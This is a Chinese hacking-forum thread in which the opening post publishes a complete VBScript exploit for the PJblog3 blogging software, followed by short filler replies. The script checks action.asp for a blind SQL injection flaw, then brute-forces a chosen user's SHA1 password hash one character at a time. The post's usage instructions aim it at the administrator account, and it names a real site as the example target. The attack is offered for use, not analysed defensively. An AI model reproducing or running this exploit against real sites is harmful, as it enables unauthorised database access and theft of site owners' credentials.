查看: 6437|回复: 25

PJblog3漏洞说明和利用

[复制链接]
发表于 2012-11-4 03:57:12 | 显示全部楼层 |阅读模式
真想不明白这样的漏洞这么久了官方为什么不修复 到现在还有此类漏洞  伸直更可怕的注册会员直插一句话工具是用VBS写的,代码如下:
复制内容到剪贴板程序代码
If WScript.Arguments.Count <> 2 Then
        WScript.Echo “Usage: Cscript.exe Exp.vbs 要检测的论坛网址 要检测的用户名”
        WScript.Echo “Example: Cscript.exe Exp.vbs http://www.pjhome.net puterjam”
        WScript.Quit
End If

attackUrl = WScript.Arguments(0)
attackUser = WScript.Arguments(1)
attackUrl = Replace(attackUrl,”\”,”/”)
If Right(attackUrl , 1) <> “/” Then
        attackUrl = attackUrl & “/”
End If
SHA1Charset = “0123456789ABCDEFJ”
strHoleUrl = attackUrl & “action.asp?action=checkAlias&cname=0kee”"”

If IsSuccess(strHoleUrl & “or “”1″”=”"1″) And Not IsSuccess(strHoleUrl & “and “”1″”=”"2″) Then
        WScript.Echo “恭喜!存在漏洞”
Else
        WScript.Echo “没有检测到漏洞”
        WScript.Quit
End If

For n=1 To 40
        For i=1 To 17
                strInject = strHoleUrl & ” or 0<(Select Count(*) From blog_member Where mem_name=’” & attackUser & “‘ And mem_password>=’” & strResult & Mid(SHA1Charset, i, 1) & “‘) And “”1″”=”"1″
                If Not IsSuccess(strInject) Then
                        strResult = strResult & Mid(SHA1Charset, i-1, 1)
                        Exit For
                End If
                strPrint = chr(13) & “Password(SHA1): ” & strResult & Mid(SHA1Charset, i, 1)
                WScript.StdOut.Write strPrint
        Next
Next
WScript.Echo Chr(13) & Chr (10) & “Done!”

Function PostData(PostUrl)
    Dim Http
    Set Http = CreateObject(“msxml2.serverXMLHTTP”)
    With Http
        .Open “GET”,PostUrl,False
        .Send ()
        PostData = .ResponseBody
    End With
    Set Http = Nothing
    PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)
    Dim strReturn
    Dim I, ThisCharCode, NextCharCode
    strReturn = “”
    For I = 1 To LenB(vIn)
        ThisCharCode = AscB(MidB(vIn, I, 1))
        If ThisCharCode < &H80 Then
            strReturn = strReturn & Chr(ThisCharCode)
        Else
            NextCharCode = AscB(MidB(vIn, I + 1, 1))
            strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
            I = I + 1
        End If
    Next
    bytes2BSTR = strReturn
End Function

Function IsSuccess(PostUrl)

strData = PostData(PostUrl)
‘Wscript.Echo strData
if InStr(strData,”check_error”) >0 then
        IsSuccess = True
Else
        IsSuccess = False
End If
‘Wscript.Sleep 500 ‘让系统休息一下
End Function

利用方法:在cmd下,输入“Cscript 1.vbs 要检测的blog网址 要检测的管理员用户名”(不包括双引号)
得到是管理员密码的SHA1散列,貌似现在破解很难,只能暴力破解,不知道要破到什么时候。网上在线破解的多是MD5,所以好多网站都改用SHA1加密了,我们的PJblog也不例外,不过过段时间在线破解SHA1应该也会越来越多。
发表于 2012-11-12 12:36:05 | 显示全部楼层
声明一下:本人看贴和回贴的规则,好贴必看,精华贴必回。  
发表于 2014-9-10 18:37:32 | 显示全部楼层
彪悍的人生不需要解释。  
发表于 2014-10-26 12:40:12 | 显示全部楼层
不错啊! 一个字牛啊!  
发表于 2014-11-5 21:29:36 | 显示全部楼层
你还想说什么啊....  
发表于 2014-11-18 11:55:23 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-12-6 07:06:20 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-12-29 11:17:43 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2015-1-29 08:52:37 | 显示全部楼层
初来乍到,请多多关照。。。  
发表于 2015-3-3 09:49:16 | 显示全部楼层
回复一下  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则